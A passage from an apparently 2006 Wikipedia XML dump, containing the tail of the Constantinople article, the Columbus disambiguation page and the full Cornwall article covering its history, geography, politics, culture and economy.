* [[Bucoleon]]
* [[Hippodrome of Constantinople]]
* [[University of Constantinople]]
* the [[Bosporus]]

==External links==
*[http://www.sephardicstudies.org/istanbul.html Info on the name change] from the Foundation for the Advancement of Sephardic Studies and Culture
*[http://www2.arch.uiuc.edu/research/rgouster Welcome to Constantinople], documenting the monuments of Byzantine Constantinople, compiled by Robert Ousterhout, University of Illinois at Urbana-Champaign.
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/secondary/BURLAT/3*.html#1 Constantinople], from ''History of the Later Roman Empire'', by [[J.B. Bury]] 
*[http://www.newadvent.org/cathen/04301a.htm History of Constantinople] from the &quot;New Advent Catholic Encyclopedia.&quot;
*[http://www.byzantium1200.com/ Byzantium 1200], A project aimed at creating computer reconstructions of the Byzantine Monuments located in Istanbul, Turkey as of year 1200 AD.

[[Category:Archaeological sites in Turkey]]
[[Category:Byzantine Empire]]
[[Category:Cities along the Silk Road]]
[[Category:Holy cities]]
[[Category:Ottoman Empire]]
[[Category:Roman sites in Turkey]]
[[Category:Roman colonies]]

[[ca:Constantinoble]]
[[cs:Konstantinopol]]
[[cy:Caergystennin]]
[[da:Konstantinopel]]
[[de:Konstantinopel]]
[[et:Konstantinoopol]]
[[el:Κωνσταντινούπολη]]
[[es:Constantinopla]]
[[eo:Konstantinopolo]]
[[fa:کنستانتینوپول]]
[[fr:Constantinople]]
[[he:קונסטנטינופול]]
[[ka:კონსტანტინეპოლი]]
[[ko:콘스탄티노폴리스]]
[[io:Konstantinopolo]]
[[id:Konstantinopel]]
[[it:Costantinopoli]]
[[la:Constantinopolis]]
[[hu:Konstantinápoly]]
[[nl:Constantinopel]]
[[ja:コンスタンティノポリス]]
[[no:Konstantinopel]]
[[nn:Konstantinopel]]
[[pl:Konstantynopol]]
[[pt:Constantinopla]]
[[ro:Constantinopol]]
[[ru:Константинополь]]
[[sr:Константинопољ]]
[[sv:Konstantinopel]]
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[[uk:Константинополь]]
[[zh:君士坦丁堡]]</text>
    </revision>
  </page>
  <page>
    <title>Columbus</title>
    <id>5647</id>
    <revision>
      <id>39430716</id>
      <timestamp>2006-02-13T02:14:11Z</timestamp>
      <contributor>
        <ip>203.240.254.231</ip>
      </contributor>
      <comment>+ko</comment>
      <text xml:space="preserve">'''Columbus''' is a [[latin]]ized version of the [[Italian language|Italian]] [[surname]] [[Colombo]], which means [[Dove]]. The name was originally given to dove keepers.

The name Columbus can refer to the following people:

* '''[[Christopher Columbus]]''', trader and explorer
* [[Realdo Colombo]], anatomist and surgeon from the 16th century
* [[Chris Columbus]], an [[United States|American]] film maker

There are many places in the [[United States]] named '''Columbus''':

* '''[[Columbus, Ohio]]''' (also the state capital of Ohio) is the best known and largest &quot;Columbus&quot; in the United States
* [[Columbus, Arkansas]]
* [[Columbus, Georgia]]
* [[Columbus, Illinois]]
* [[Columbus, Indiana]]
* [[Columbus, Kansas]]
* [[Columbus, Kentucky]]
* [[Columbus, Mississippi]]
* [[Columbus, Montana]]
* [[Columbus, Nebraska]]
* [[Columbus, New Jersey]]
* [[Columbus, New Mexico]] 
* [[Columbus, New York]]
* [[Columbus, North Carolina]]
* [[Columbus, North Dakota]]
* [[Columbus, Texas]]
* [[Columbus, Wisconsin]]
* [[Columbus (town), Wisconsin]]
* [[Columbus Air Force Base]]
* [[Columbus City, Iowa]]
* [[Columbus Grove, Ohio]]
* [[Columbus Junction, Iowa]]
* [[Columbus Township, Illinois]]
* [[Columbus Township, Indiana]]
* [[Columbus Township, Iowa]]
* [[Columbus Township, Luce County, Michigan]]
* [[Columbus Township, St. Clair County, Michigan]]
* [[Columbus Township, Minnesota]]
* [[Columbus Township, Missouri]]
* [[Columbus Township, Nebraska]]
* [[Columbus Township, North Carolina]]
* [[Columbus Township, Pennsylvania]]

== See also==
* [[Columbus (ISS module)|Columbus]], the European module for the [[International Space Station]]
* [[Knights of Columbus]]
* [[Columbus tubing|Columbus]], Italian manufacturer of bicycle and motorsport tubing
* [[Columbus Day]]

{{disambig}}

[[da:Columbus]]
[[de:Columbus]]
[[fr:Columbus]]
[[ko:콜럼버스]]
[[he:קולומבוס (פירושונים)]]
[[la:Columbus]]
[[nl:Columbus]]
[[nds:Columbus]]
[[ja:コロンブス]]
[[sv:Columbus (olika betydelser)]]</text>
    </revision>
  </page>
  <page>
    <title>Cornwall</title>
    <id>5648</id>
    <revision>
      <id>41805236</id>
      <timestamp>2006-03-01T21:41:37Z</timestamp>
      <contributor>
        <username>Aroberts</username>
        <id>218063</id>
      </contributor>
      <comment>/* Food */  a few changes, but lots more work needed here.</comment>
      <text xml:space="preserve">{{alternateuses}}
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|+ &lt;big&gt;'''Cornwall'''&lt;/big&gt;&lt;br /&gt;'''Kernow'''
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=2 |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;padding-top: 0.5em;&quot;
|-
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| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Cornwall_Crest.jpg|75px]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | &lt;small&gt;([[Saint Piran's Flag|St Piran's Flag]])&lt;/small&gt;
| align=&quot;center&quot; width=&quot;140px&quot; | &lt;small&gt;(Cornwall County Council Coat of Arms)&lt;/small&gt;
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;small&gt;''[[Motto]]: Onen hag oll&lt;br /&gt;([[Cornish language|Cornish]]: One and all)''&lt;/small&gt;
|-
| colspan=2 style=&quot;text-align: center; background: white;&quot; | [[Image:EnglandCornwall.png|English Counties]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Geography
|-
! width=&quot;45%&quot; | Status
| [[Ceremonial counties of England|Ceremonial]] and (smaller) [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]] county
|-
! Region
| [[South West England]]
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. pop.
|[[List of ceremonial counties of England by population|Ranked 40th]]&lt;br /&gt;517,500&lt;br /&gt;145 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 24th]]&lt;br /&gt;515,300
|
|-
! Admin HQ
| [[Truro]]
|-
! [[ISO 3166-2:GB|ISO 3166-2]]
| GB-CON
|-
! [[ONS coding system|ONS code]]
| 15
|-
! [[Nomenclature of Territorial Units for Statistics|NUTS]] 3
| UKK30
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2006]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. pop.
| [[List of ceremonial counties of England by population|Ranked 40th]]&lt;br /&gt;527,216&lt;br /&gt;148 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 24th]]&lt;br /&gt;524,887
|-
! Ethnicity
| 99.0% White, of which 6.8% [[Cornish people|Cornish]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Politics
|-
| colspan=2 style=&quot;text-align: center;&quot; | Cornwall County Council&lt;br /&gt;http://www.cornwall.gov.uk/
|-
! Executive
| [[Liberal Democrats (UK)|Liberal Democrat]]
|-
! [[MPs elected in the UK general election, 2005|Members of Parliament]]
|
* [[Julia Goldsworthy]]
* [[Dan Rogerson]]
* [[Colin Breed]]
* [[Andrew George]]
* [[Matthew Taylor (politician)|Matthew Taylor]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Districts
|-
| colspan=2 | &lt;center&gt;[[Image:CornwallScillyNumbered.png]]&lt;/center&gt;
#[[Penwith]]
#[[Kerrier]]
#[[Carrick, Cornwall|Carrick]]
#[[Restormel]]
#[[Caradon]]
#[[North Cornwall]]
#[[Isles of Scilly]] (Unitary)
|}
{{infobox England traditional county|
   |County=     Cornwall
   |Image=      [[Image:EnglandCornwallTrad.png]]
   |SizeRank=   15th
   |Size=       863,065 acres
   |Water=      ?
   |CountyTown= [[Truro]]
   |ChapmanCode=CON
   |detailedImage=
}}
'''Cornwall''' ([[Cornish language|Cornish]]: ''Kernow'') is a [[metropolitan and non-metropolitan counties of England|county]] on [[England]]'s [[South West England|south west]] peninsula that lies to the west of the [[River Tamar]]. In the 20th century there has been a revival of the Cornish language and there has been some debate over the [[constitutional status of Cornwall]].

The [[county town|administrative centre]] and only [[City status in the United Kingdom|city]] is [[Truro]]. Including the [[Isles of Scilly]], located 28 miles (45 km) offshore, Cornwall covers an area of 1,376 [[square mile]]s (3,563 [[square kilometre|km&amp;sup2;]]). There is a population of 513,527 with a population density of 144 people per square kilometre (373/mi²) {{ref|population}}. Tourism forms a significant part of the local economy. However, it is the poorest area in the United Kingdom with the lowest contribution to the national economy. [http://www.statistics.gov.uk/cci/nugget.asp?id=582]

==History==
:{{main|History of Cornwall}}

The history of Cornwall begins with the pre-Roman inhabitants, including speakers of a Celtic language that would develop into [[Brythonic languages|Brythonic]] and [[Cornish language|Cornish]]. After a period of [[Roman Empire|Roman]] rule, Cornwall reverted to independent Celtic chieftains. The [[Latin language|Roman]] term for the tribe which inhabited what is now Cornwall at the time of Roman rule, the ''Cornovii'', was derived from a Brythonic tribal name which gave modern [[Cornish language|Cornish]] ''Kernow''. (For other examples of the survival of Brythonic names noted by the Romans, see [[Dyfed]] / [[Demetae]], [[Cantiaci]] / [[Kent]] , [[Gwynedd]] / ''Veneti'' and [[Durotriges]] / [[Dorset]].) The present [[English language|English language]] name of the region derives from suffixing of Old English [[Germanic placenames|''wealhas'']] (&quot;foreigners, Britons&quot;) to the Celtic name.

The site of ancient ''Belerion'', Cornwall was the principal source of [[tin]] for the [[civilisation]]s of the ancient [[Mediterranean]], and at one time the Cornish were the world's foremost experts at [[mining]]. As Cornwall's reserves of tin began to be exhausted many Cornishmen emigrated to places such as the Americas, Australia, New Zealand and South Africa where their skills were in demand. The [[Cornish Rebellion of 1497]] is attributed to tin miners. The tin mines in Cornwall are now worked-out at current prices, but the expertise and culture of the Cornish tin miners lives on in a number of places around the world. It is said that, wherever you may go in the world, if you see a hole in the ground, you will find a Cornishman at the bottom of it. Several Cornish mining words are in use in English language mining terminology, such as [[costean]], [[gunnies]], and [[vug]]. 

Since the decline of tin mining, agriculture and fishing, the area's economy has become increasingly dependent on tourism &amp;mdash; some of Great Britain's most spectacular coastal scenery can be found here. Nevertheless, Cornwall remains the poorest part of the United Kingdom and it has been granted [[Objective 1]] status by the [[EU]]. A political party, [[Mebyon Kernow]], MK, or 'Sons of Cornwall', was formed in [[1951]] to attempt to assert some degree of autonomy (see [[Cornish nationalism]]); while the flag of [[St Piran]] is seen increasingly across Cornwall at protests, demonstrations and generally, the party has not achieved significant success at the ballot box, although they do have a number of district councillors. Two of the current MPs to [[Westminster]] &amp;mdash; [[Andrew George]], MP for [[St Ives, Cornwall|St Ives]]; and [[Dan Rogerson]], MP for [[North Cornwall]] &amp;mdash; repeated their Parliamentary oaths in Cornish. Further, there is a caucus of local county councillors who are well known locally for their persistent advocacy of Cornwall's political uniqueness.

==Physical geography==
Cornwall, being exposed to the full force of the [[Atlantic Ocean]], is composed entirely of [[resistance (geology)|resistant]] rocks, as less resistant rocks have been [[erosion|eroded]] away. The centre of the county is largely [[Devonian]] [[sandstone]] and [[slate]]. The north east of the county lies on [[Carboniferous]] sandstone. Cornwall is particularly known for its [[igneous]] outcrops, which include the [[granite]] of [[Bodmin Moor]] and the areas around [[Camborne]] and [[Land's End]], and the dark green [[serpentine]] of the [[Lizard Peninsula]]. The granite forms high treeless moors on which [[domestic sheep|sheep]] graze, and the characteristic Cornish cliffs.

Bude and Crackington Haven on the North Cornish coast have given their names to two geological formations &amp;mdash; the Bude formation and the Crackington formation. When a tablecloth is pushed inwards, it folds upwards and overlaps; and that it has the spectacular overlapping strata of the cliffs of Bude and Crackington Haven were created during the Carboniferous era. Also of geological importance is the Lizard Peninsula; it contains metamorphic rocks from the [[Precambrian era]] (around 640 million years ago in this case) making it the oldest piece of rock in Cornwall. 

Cornwall is the southernmost part of [[Great Britain]], and therefore has a relatively warm and sunny [[climate]]. However, being unprotected from the Atlantic it also has more extreme weather. The average annual temperature for most of the county is 10.2 to 12 degrees [[Celsius]] (50 to 54 °[[Fahrenheit|F]]), with slightly lower temperatures on the moors {{ref|av_temp}}. The county has relatively high rainfall, though less than more northern areas of the west coast, at 1051 to 1290 [[millimeter|mm]] (41.4 to 50.8 [[inch|in]]) per year {{ref|av_rainfall}}. Most of the county enjoys over 1541 [[hour]]s of sunshine per year {{ref|av_sunshine}}.

==Politics==
[[Image:StIvesHarbour Lifeboat.JPG|thumb|200px|St Ives harbour.]]
Parliamentary representation for Cornwall is dominated by the [[Liberal Democrats (UK)|Liberal Democrats]]. Currently all five of the Cornish MPs are Liberal Democrat. The local councils also have a large portion of Lib Dem members. Most local Liberal Democrat MPs and councillors strongly support moves for Cornish devolution, as do some [[Welsh nationalism|Welsh nationalists]].

Although Cornwall is administered as a county of England, an independence movement exists that seeks more autonomy. Additionally some groups and individuals question the [[constitutional status of Cornwall]] and its relation to the [[Duchy of Cornwall]]. Cornish nationalists have organised into two political parties: Mebyon Kernow and the [[Cornish Nationalist Party]]. In addition to the political parties the Cornish [[Stannary Parliament]] acts as a pressure group on Cornish constitutional issues and Cornwall 2000 the [[Human Rights]] organisation works with Cornish cultural issues. 

In November 2000 the Cornish Constitutional Convention was formed. It is a cross-party organisation including representatives from the private, public and voluntary sectors, of all political parties and none.

Between [[5 March]] [[2000]] and December 2001, the campaign for a Cornish Assembly collected the signatures of 41,650 Cornish residents endorsing the Declaration for a Cornish Assembly, in total 50,546 including people outside Cornwall. The [[British government]] however has no plans to devolve more power to Cornwall.

==Flag==
[[Image:Flag of Cornwall.svg|thumb|[[Saint Piran's Flag]]]]

There is some dispute about whether the patron saint of Cornwall is [[Saint Michael]], [[Saint Petroc]] or [[Saint Piran]]. Saint Piran is the most popular of the three; his emblem (a vertical white cross on a black background) is recognised as the flag of Cornwall, and his day ([[5 March|March 5]]) is celebrated by Cornish people around the world. The [[Saint Piran's Flag]] features on the packaging for Ginster's [[Pasty|Cornish pasties]] to advertise their status as a Cornwall-based company.

==Demographics==
[[Image:Brown Willy Bodmin Moor.jpg|thumb|200px|Brown Willy on Bodmin Moor.]]
Cornwall's [[population]] is 513,527, and [[population density]] 144 people per square kilometre, ranking it 40th and 41st respectively compared to the other 47 counties of England. Cornwall has a relatively high level of population growth, however, at 11.2% in the [[1980s]] and 5.3% in the [[1990s]], giving it the fifth highest population growth of the English counties {{ref|pop_growth}}. The natural change has been a small population decline, and the population increase is due to immigration into the county {{ref|nat_change}}. According to the 1991 census, the population was 469,800.

Cornwall has a relatively high retired population, with 22.9% of pensionable age, compared to 20.3% for the United Kingdom {{ref|retirement}}. This may be due to a combination of Cornwall's rural and coastal geography increasing its popularity as a retirement location, and due to the emigration of younger residents to more economically diverse areas. Migration of pensioners from southern England to Cornwall, and emigration of young Cornish people, is a persistent concern &amp;mdash; the Cornish ethnicity figures in the census of 2001 showed that 10.8 per cent of those identifying as ethnically Cornish in the United Kingdom lived outside Cornwall, a relatively high rate in terms of global [[diaspora|diasporas]], comparable to the experiences of [[Italy]] or [[Greece]].

Cornwall is one of the six modern Celtic nations alongside [[Brittany]], [[Ireland]], the [[Isle of Man]], [[Scotland]] and [[Wales]]. Just under 7% of the population of Cornwall gave their ethnicity as Cornish in the last [[Census 2001|census]], however, in a survey by Mogan Stanley 44% of the population considered themselves Cornish {{ref|cornish}}. The Census provided no 'tick box' for Cornish, and had to be listed as 'other' which may explain this difference.

==Economy==
Cornwall is the poorest area in the United Kingdom. The GDP is 62% of the national average {{ref|GDP}}. Cornwall is one of four UK areas that qualifies for poverty-related grants from the EU (European Social Fund). Today, the Cornish economy depends heavily on its successful tourist industry, which makes up around a quarter of the Cornish economy.

Traditional areas such as china clay extraction have gradually shed workers in recent years.

Educated young people continue to leave the county in numbers and despite Objective One funding the county's economy continues a downward spiral. Objective One funding is due to expire in 2006.

===Tourism===
Cornwall's unique culture, spectacular landscape and mild climate make it a popular tourist destination, despite being somewhat isolated from the United Kingdom's main tourist centres. Surrounded on three sides by the [[Atlantic Ocean]], [[English Channel]] and [[Celtic Sea]], Cornwall has miles of beaches and cliffs. Other tourist attractions include moorland, country gardens and wooded valleys, and tourism is a significant economic sector.

Five million tourists visit the county each year, mostly drawn from within the UK{{ref|tour_num}}. In particular, [[Newquay]] is a popular destination for surfers. In recent years, the [[Eden Project]] has been a major financial success, drawing one in eight of Cornwall's visitors{{ref|eden_influence}}.

===Industry===
Other industries are fishing, although this has been significantly damaged by EU fishing policies, and agriculture, which has also declined significantly. Mining of tin and copper was also an industry, but today no longer exists, and several defunct mines have applied for status as [[United Nations Educational, Scientific and Cultural Organization|UNESCO]] World Heritage Sites. {{ref|economy}}

==Culture==
[[Image:Minack Theatre.jpg|thumb|200px|[[Minack Theatre]], carved from the cliffs.]]
{{main|Culture of Cornwall}}

===Language===
{{main|Cornish language}}
The Cornish language is closely related to [[Welsh language|Welsh]] and [[Breton language|Breton]], and less so to [[Irish language|Irish]], [[Scots Gaelic language|Scots Gaelic]] and [[Manx language|Manx]]. It continued as a living [[Celtic language]] until [[1777]] and the death of [[Dolly Pentreath]], the last person thought to have used only the [[Cornish language|Cornish]] language (although this is disputed on a number of counts). The publication of [[Henry Jenner]]'s &quot;Handbook of the Cornish Language&quot; in [[1904]] caused a resurgence of interest in the Cornish language. The subsequent revival gathered pace during the twentieth century and, although there has never been a census, most estimates agree that there are now around 2,000 Cornish speakers, 100&amp;ndash;150 of whom are fluent, and there are several families who have raised their children with the language. Cornish has recently been officially recognised by the UK government as a minority language and although currently less than 0.1% of the population speak it fluently, it is taught in many schools and used in religious and civic ceremonies and has boosted Cornish cultural identity.

Some Cornish surnames are prefixed by ''Tre'', ''Pol'', or ''Pen'', as indicated in the rhyme &quot;by Tre, Pol and Pen ye shall know Cornishmen.&quot; These come from Cornish language words meaning, respectively, ''town'' (or ''farm''), ''pool'', and ''head''.

===Cornish studies and literary references===
The Institute of Cornish Studies, established in [[1970]], is a branch of the [[University of Exeter]], and now part of the [[Combined Universities in Cornwall]] Campus at Tremough, Penryn. [[Philip Payton]], professor Cornish studies, has written a history of Cornwall as well as editing the Cornish studies series, and other academics, including [[Mark Stoyle]] of the [[University of Southampton]] and [[John Angarrack]] of the human rights organisation [[Cornwall 2000]], have also produced work on Cornish culture.

A detailed overview of literature is provided by A. M. Kent's 'The Literature of Cornwall'. It covers everything from medieval mystery plays to more recent literary works that draw on the Cornish landscape. Notable Cornish writers include [[Arthur Quiller-Couch]] alias &quot;Q&quot;, the deaf short story writer, [[Jack Clemo]] and [[D. M. Thomas]] acclaimed author and poet.

Cornwall also produced a substantial amount of [[passion play|passion plays]] during the Middle Ages. Many are still extant, and provide valuable information about the Cornish language.

[[Daphne du Maurier]] lived in Cornwall and set many of her novels there, including ''[[Rebecca_(novel)|Rebecca]]'', ''[[Jamaica Inn]]'', ''[[Frenchman's Creek]]'', ''[[My Cousin Rachel]]'', and ''[[The House on the Strand]]''. She is also noted for writing ''[[Vanishing Cornwall]]''. [[Charles de Lint]]'s novel ''[[The Little Country]]'', [[Winston Graham]]'s series ''[[Poldark]]'', [[Kate Tremayne]]'s [[Adam Loveday]] series, [[Susan Cooper]]'s novels ''[[Over Sea, Under Stone]]'' and ''[[Greenwitch]]'', [[Mary Wesley]]'s ''[[The Camomile Lawn]]'' and [[Gilbert and Sullivan]]'s musical ''[[The Pirates of Penzance]]'' are all set in Cornwall.

===Religion===
Traditionally, the Cornish have been nonconformists, in religion. [[Celtic Christianity]] was a feature of Cornwall and many [[Cornish Saints|Cornish saints]] are commemorated in legends, churches and place names.

The [[Methodism]] of [[John Wesley]] also proved to be very popular with the working classes in Cornwall in the [[18th century]]. Cornwall has shared in the post-[[World War II]] decline in British religious feeling.

In 2003, a campaign group was formed called ''Fry an Spyrys'' (free the spirit in Cornish) [http://www.freethespirit.org.uk/]. It is dedicated to disestablishing the [[Church of England]] in Cornwall.

===Music and festivals===
Cornwall has a rich and vibrant [[folk music]] tradition which has survived into the present. Cornwall is well known for its unusual folk survivals such as [[Mummers Play]]s, the [[Furry Dance]] in [[Helston]], and [[Obby Oss]] in [[Padstow]]. 

Cornish players are regular participants in inter-Celtic festivals, and Cornwall itself has several lively inter-Celtic festivals such as [[Perranporth]]'s Lowender Peran folk festival[http://www.an-daras.com].

===Sports and games===
Cornwall has its [[Cornish wrestling|own unique form of wrestling]] related to [[Brittany|Breton]] wrestling.

Cornwall's other county sport is [[Hurling the Silver Ball|hurling]], a kind of medieval football played with a silver ball. Hurling is distinct from [[Irish Hurling]]. The sport now takes place in St Columb and [[St Ives]] although hurling of a silver ball is part of the [[beating the bounds]] ceremony at [[Bodmin]] every five years.

[[Rugby Football|Rugby]] has a larger following in Cornwall than [[football]], with the Cornish Pirates RFC (the name change &amp;mdash; previously the team were Penzance Newlyn RFC &amp;mdash; is recent and designed to tap into the large amount of Cornish nationalist sentiment), Launceston RFC and Redruth RFC in the national leagues. The Cornwall rugby team often draws very large crowds of supporters, dubbed ''[[Trelawny]]'s Army''.

Due to its large coastline, various maritime sports are popular in Cornwall, notably [[sailing]] and [[surfing]]. International events in both are held in Cornwall. Cornwall will host the Inter-Celtic [[Watersports]] Festival in 2006. 

[[Rock climbing]] on the sea cliffs and inland cliffs has been popular since the pioneeering work of [[A. W. Andrews]] and others in the early 1900s, and is now highly developed.

[[Euchre]] is a popular [[card game]] in Cornwall, it is normally a game for four players consisting of two teams. Its origins are unclear but some claim it is a Cornish game. There are several leagues in Cornwall at present.

A recent application for a place in the [[2006 Commonwealth Games]] failed to impress the [[Commonwealth Games Federation]] (CGF). The Cornwall Commonwealth Games Association claimed that Cornwall should be recognised with a team, in the way that other sub-state entities such as England, [[Guernsey]] and the [[Isle of Man]] are. However, the CGF noted that it was not their place to make political decisions on whether or not Cornwall is a separate nation [http://news.bbc.co.uk/1/hi/england/cornwall/4575246.stm].

===Food===
Cornwall is famous for its [[Pasty|pasties]] (a pastry dish; traditionally a Cornish pasty &amp;mdash; known locally as simply a ''pasty'' or an ''oggie'' &amp;mdash; contains beef steak, potato, onion and swede with  salt and white pepper), but [[saffron]] buns, Cornish Heavy (''Hevva'') Cake, Cornish fairings (biscuit), Cornish [[fudge]] and Cornish [[ice cream]] are other specialities.  

Cornwall is also well known for [[clotted cream]], local caught fish, and [[cider]]. There are also many types of [[beers]] brewed in Cornwall &amp;mdash; the [[St Austell]] brewery is the best-known &amp;mdash; including a [[stout]] and there is some small scale production of [[wine]]. 

Older traditional foods include star-gazy pie and &quot;thunder and lightning&quot;.

== Settlements ==
[[Image:Ruined Cornish tin mine.jpg|thumb|right|Ruin of Cornish tin mine]]
This is a list of the main towns and cities in the county; for a complete list of settlements see [[list of places in Cornwall]].

*[[Bodmin]] 
*[[Bude]]
*[[Camborne]]
*[[Falmouth, Cornwall|Falmouth]]
*[[Hayle]] 
*[[Helston]]
*[[Launceston, Cornwall|Launceston]], 
*[[Liskeard]]
*[[Newquay]]
*[[Penzance]]
*[[Redruth]]
*[[Saltash]]
*[[St Austell]]
*[[St Ives, Cornwall|St Ives]]
*[[Truro]]
*[[Wadebridge]]

==Transport==
Cornwall borders the county of [[Devon]] at the River Tamar. Major road links between Cornwall and the rest of Great Britain are the [[A38 road|A38]] which crosses the Tamar at [[Plymouth]] via the [[Tamar Bridge]], and the [[A30 road|A30]] which crosses the border south of [[Launceston, England|Launceston]]. A [[Torpoint Ferry|car ferry]] also links [[Plymouth]] with the town of [[Torpoint]] on the opposite side of the [[Hamoaze]]. A rail bridge, the [[Royal Albert Bridge]], built by [[Isambard Kingdom Brunel]] ([[1859]]) provides the only other major transport link.

[[Newquay]] has an airport which has flights from [[London Gatwick Airport|London Gatwick]], [[London Stansted Airport|London Stansted]], [[Bristol International Airport|Bristol]], [[Manchester International Airport|Manchester]], [[Leeds Bradford International Airport|Leeds Bradford]], [[Dublin]], [[Birmingham International Airport|Birmingham]], [[Durham Tees Valley]] and a flight to [[Málaga]] has recently been announced. The airport shares [[RAF St. Mawgan]]'s runways and facilities; however, this is under threat as the [[Ministry of Defence (United Kingdom)|Ministry of Defence]] is planning to mothball the base.

== Places of interest ==
&lt;div style=&quot;float:right;&quot;&gt;
{{EngPlacesKey}}
&lt;/div&gt;
{|cellpadding=0 cellspacing=4 border=0
|-
||
*[[Bodmin &amp; Wenford Railway|Bodmin and Wenford Railway]] [[Image:HR icon.png]]
*[[Bodmin Moor]] [[Image:UKAL icon.png]]
*[[Carn Euny]]
*[[Carrick Roads]]
*[[Castle An Dinas]] [[Image:UKAL icon.png]]
*[[Chûn Castle]] [[Image:UKAL icon.png]]
*[[Chûn Quoit]] [[Image:UKAL icon.png]]
*[[Chysauster Ancient Village]] [[Image:EH icon.png]]
*[[Commando Ridge]], Bosigran
*[[Cotehele]] [[Image:NTE icon.png]]
*[[Eden Project]]
*[[Godrevy Island]] [[Image:NTE icon.png]]
*[[Goonhilly Downs]]
*[[Gweek seal sanctuary]]
* [[The Hurlers (stone circles)|The Hurlers]] [[Image:UKAL icon.png]]
*[[Kynance Cove]] [[Image:UKAL icon.png]]
*[[Land's End]] [[Image:UKAL icon.png]]
*[[Lanhydrock House]] [[Image:NTE icon.png]]
*[[Lanyon Quoit]] [[Image:UKAL icon.png]]
*[[Lappa Valley Steam Railway]] [[Image:HR icon.png]]
*[[The Lizard]] [[Image:UKAL icon.png]]
*[[Loe Pool]]
||
*[[The Lost Gardens of Heligan|Lost Gardens of Heligan]]
*[[Mên-an-Tol]] [[Image:UKAL icon.png]]
*[[Minack Theatre]]
*[[Mullion Cove]] [[Image:UKAL icon.png]]
*[[Pencarrow]] [[Image:HH_icon.png]]
*[[Pendennis Castle]] [[Image:EH icon.png]]
*[[Penlee House, Penzance, Cornwall|Penlee House]]
*[[Poldhu]] [[Image:UKAL icon.png]]
*[[Polperro]] 
*[[Museum of Submarine Telegraphy, Cornwall|Museum of Submarine Telegraphy]]
*[[Restormel Castle]] [[Image:EH icon.png]]
*[[River Fowey]]
*[[River Looe]]
*[[Roseland Peninsula]]
*[[South West Coast Path]]
*[[St Mawes Castle]] [[Image:EH icon.png]]
*[[St Michael's Mount]] [[Image:NTE icon.png]]
*[[Tintagel Castle]] [[Image:EH icon.png]]
*[[Trelissick Garden]] [[Image:NTE icon.png]]
*[[Truro Cathedral]]
|}

The [[Isles of Scilly]] have in some periods been served by the same county administration as Cornwall, but are today a separate [[Unitary Authority]]. Some secessionists have found the phrase &quot;English Heritage&quot; to be controversial, and in 2003, there has been a general move to replace these signs, and the Tudor Rose with the Cornish flag, after a group started removing them.

== See also ==
{{InterWiki|code=kw}}
*[[Celt]]
*[[Constitutional status of Cornwall]]
*[[Cornish language]]
*[[Cornish nationalism]]
*[[Cornish people]]
*[[Cornish Rebellion of 1497]]
*[[Duchess of Cornwall]]
*[[Duchy of Cornwall]] 
*[[Duke of Cornwall]]
*[[Earl of Cornwall]]
*[[Kingdom of Cornwall]]
*[[Legendary Dukes of Cornwall]]
*[[List of Cornish people]]
*[[List of not fully sovereign nations]]
*[[Mebyon Kernow]]
*[[Modern Celts]]
*[[Perkin Warbeck]]
*[[West Country dialects]]

== External links ==
{{commons|Cornwall}}
*[http://www.cornwalltouristboard.co.uk/ The official Cornwall Tourist Board]
*[http://www.cornwall.gov.uk/ Cornwall County Council]
*[http://www.marjon.ac.uk/cornish-history/index.htm Cornish History]
*[http://www.institutes.ex.ac.uk/ics/ The Institute of Cornish Studies]
*[http://www.senedhkernow.com/ Campaign for a Cornish Assembly]
*[http://www.westbriton.co.uk/displayNode.jsp?nodeId=144124&amp;command=newPage/ This is Cornwall], local news
*[http://www.thisisnotcornwall.co.uk/ This is not Cornwall, This is Kernow]
[http://www.krowskernewek.com Cornish Crosses in West Penwith.]
*[http://www.cornwall24.co.uk/ Cornwall 24] Cornwall's independent news and discussion site
;Photographs
*[http://www.cornwall365.co.uk/ Cornwall 365] Photographs of Cornwall
*[http://www.viewsofcornwall.co.uk/ Views of Cornwall] Nearly 2000 photos of Cornwall
;Attractions
*[http://www.2visit.co.uk/cornwall/ Cornwall Attractions]

==References==
# {{note|population}} [[Office for National Statistics]], 2003 [http://www.local.odpm.gov.uk/finance/0506/grant.htm Population estimates]. For a comparison of population and population density see [[List of ceremonial counties of England by population]]. 
# {{note|cornish}}[http://news.bbc.co.uk/1/hi/wales/3527673.stm Morgan Stanley survey]
# {{note|pop_grow}} Office for National Statistics, 2001. [http://www.cornwall.gov.uk/Facts/fact2.htm Population Change in England by County 1981-2000].
# {{note|nat_change}} Office for National Statistics, 2001. [http://www.cornwall.gov.uk/Facts/fact74.htm Births, Deaths and Natural Change in Cornwall 1974 &amp;ndash; 2001].
# {{note|retirement}} Office for National Statistics, 1996. [http://www.cornwall.gov.uk/Transport/Ltp/Tables/Table004.htm % of Population of Pension Age (1996)].
# {{note|av_temp}} Met Office, 2000. [http://www.metoffice.com/climate/uk/averages/19712000/tmean/17.gif Annual average temperature for the United Kingdom].
# {{note|av_rainfall}} Met Office, 2000. [http://www.metoffice.com/climate/uk/averages/19712000/rr/17.gif Annual average rainfall for the United Kingdom].
# {{note|av_sunshine}} Met Office, 2000. [http://www.metoffice.com/climate/uk/averages/19712000/ss/17.gif Annual average sunshine for the United Kingdom].
